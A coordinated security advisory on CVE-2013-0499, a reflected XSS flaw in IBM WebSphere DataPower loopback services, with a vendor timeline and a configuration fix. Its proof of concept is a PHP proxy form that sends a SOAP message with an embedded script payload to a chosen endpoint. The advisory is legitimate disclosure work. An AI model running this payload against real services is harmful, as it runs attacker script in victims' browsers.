SEC Consult Vulnerability Lab Security Advisory < 20130523-0 >
=======================================================================
              title: JavaScript Execution in WebSphere DataPower Services
            product: IBM WebSphere DataPower Integration Appliance XI50
 vulnerable version: 3.8.2, 4.0, 4.0.1, 4.0.2, 5.0.0
      fixed version: not available, config changes
         CVE number: CVE-2013-0499
             impact: Low/Medium
           homepage: https://www.ibm.com/
              found: 2013-01-28
                 by: A. Falkenberg
                     SEC Consult Vulnerability Lab
                     https://www.sec-consult.com
=======================================================================

Vendor/product description:
-----------------------------
WebSphere® DataPower® appliances simplify, govern, and optimize the delivery 
of services and applications and enhance the security of XML and IT services.
They extend the capabilities of an infrastructure by providing a multitude of
functions.
URL: http://www-03.ibm.com/software/products/us/en/datapower/


Vulnerability overview/description:
-----------------------------------
For the purposes of debugging, DataPower provides configuration options to 
echo requests received from the client. For example, XML Firewall service can
be configured to echo requests by choosing the backend as 'loopback'. Other 
services like Multi Protocol Gateway and Web Service Proxy can be configured 
to echo requests by setting the variable “var://service/mpgw/skip-backside” in 
its processing policy. 
In such configurations, the requests are not sent to a backend server. Without 
adequate validation and processing, the requests may be echoed back to the 
client. Loopback services that blindly echo requests should only be used for 
debugging purposes and not intended to be run in production environments as 
they can result in potential security threats. For example, if an arbitrary 
JavaScript embedded request is sent to such services, they will simply echo it
back resulting in a potential JavaScript execution vulnerability in the 
client's browser.
URL: https://www-304.ibm.com/support/docview.wss?uid=swg21637717


Proof of concept:
-----------------
The proof of concept was tested on an IBM Xi50 with the backend configured as 
a "loopback" Web Service. The "loopback" Web Service can be used to execute 
arbitrary JavaSscript code in a victims browser. Any valid SOAP message sent 
to the Web service is returned unmodified to the receiver. If the SOAP 
response of the "loopback" Web Service is parsed by a browser, any JavaScript
that is contained within the XML document will get executed. 
The following PHP script demonstrates a reflected cross site scripting.

<?php
$soapEndpoint = "http://127.0.0.1:80";
$soapMessage = 
'<?xml version="1.0"?><soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:sam="http://sample02.policy.samples.rampart.apache.org">
   <soapenv:Header/>
   <soapenv:Body>
      <sam:echo>
        <html:html xmlns:html="http://www.w3.org/1999/xhtml">
            <html:script>alert("XML XSS");</html:script>
        </html:html>
      </sam:echo>
   </soapenv:Body>
</soapenv:Envelope>';

if(isset($_POST['soapMessage']) and isset($_POST['soapUrl'])){
$soap_do = curl_init(); 
  curl_setopt($soap_do, CURLOPT_URL,            $_POST['soapUrl'] );   
  curl_setopt($soap_do, CURLOPT_CONNECTTIMEOUT, 10); 
  curl_setopt($soap_do, CURLOPT_TIMEOUT,        10); 
  curl_setopt($soap_do, CURLOPT_RETURNTRANSFER, true );
  curl_setopt($soap_do, CURLOPT_SSL_VERIFYPEER, false);  
  curl_setopt($soap_do, CURLOPT_SSL_VERIFYHOST, false); 
  curl_setopt($soap_do, CURLOPT_POST,           true ); 
  curl_setopt($soap_do, CURLOPT_POSTFIELDS,    $_POST['soapMessage']); 
  curl_setopt($soap_do, CURLOPT_HTTPHEADER,     array('Content-Type: text/xml; charset=utf-8', 'Content-Length: '.strlen($_POST['soapMessage']) )); 

  $result = curl_exec($soap_do);
  $err = curl_error($soap_do);  

        header('Content-type: text/xml');
  echo $result;
        exit;
}
?>

<html>
    <body>
        <h1>XSS XML Proxy</h1>
        <form name="input" action="" method="post">
        SOAP Endpoint: <input type="text" name="soapUrl" value="<?php echo $soapEndpoint; ?>"><br />
        SOAP Message:&nbsp; <textarea cols="70" name="soapMessage" rows="14"><?php echo $soapMessage; ?></textarea><br />
        <br />
        <input type="submit" value="Submit">
        </form> 
    </body>
</html>



Vulnerable / tested versions:
-----------------------------
SEC Consult verified the vulnerability in the WebSphere DataPower Appliance XI50. 
The vendor provided an extended list of vulnerable versions: 
WebSphere DataPower 3.8.2, 4.0, 4.0.1, 4.0.2, 5.0.0.



Vendor contact timeline:
------------------------
2013-01-30: Sending advisory and proof of concept exploit via encrypted channel.
2013-01-31: Vendor confirms receipt
2013-05-17: Vendor posts security bulletin
2013-05-23: SEC Consult releases coordinated security advisory.


Solution:
---------
The vendor does not offer a patch. 

The vulnerability can be prevented by disabling the services to blindly echo
requests back. A detailed description can be found on the vendor's site:
https://www-304.ibm.com/support/docview.wss?uid=swg21637717



Advisory URL:
-------------
https://www.sec-consult.com/en/Vulnerability-Lab/Advisories.htm


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EOF A. Falkenberg / @2013